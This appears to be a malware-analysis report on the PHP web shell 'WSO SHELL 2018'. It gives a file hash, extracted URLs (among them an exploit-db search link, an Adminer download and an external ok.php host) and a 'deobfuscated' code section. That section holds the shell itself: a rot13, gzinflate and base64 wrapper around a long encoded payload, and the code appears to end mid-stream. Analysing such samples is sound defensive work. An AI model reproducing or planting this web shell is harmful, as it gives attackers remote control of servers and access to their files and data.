PHP Malware Analysis

control.php, wso.php

md5: daa387fbc0345a8fa7375832d46d9b7c

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title
  • WSO " . VERSION ." (Traces)
  • WSO SHELL 2018 (HTML)

URLs
  • http://dl.dropbox.com/u/10860051/images/matran.gif (Deobfuscated)
  • http://localhost/uploads/control.php (Traces)
  • http://localhost/uploads/wso.php (Traces)
  • http://url.com/ppq_symconfig/ (Deobfuscated)
  • http://ww3s.ws/ok.php (Deobfuscated)
  • http://www.canyouseeme.org/ (Deobfuscated)
  • https://anon.click/protected/https://www.google.com/search?q= (Deobfuscated, Traces)
  • https://anon.click/protected/https://www.google.com/search?q=Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64 (HTML)
  • https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js (Deobfuscated, HTML, Traces)
  • https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php (Deobfuscated, Traces)
  • https://www.exploit-db.com/search/?action=search& (HTML)
  • https://www.exploit-db.com/search/?action=search&description= (Deobfuscated, Traces)


Deobfuscated PHP code

<?php

// WHO SHELL 2018
// PHP 7 SUPPORTED
$â–› = "";
//
$wz0 = "str_rot13";
$jn1 = "gzinflate";
$nj2 = "str_rot13";
$gw3 = "base64_decode";
$vt4 = "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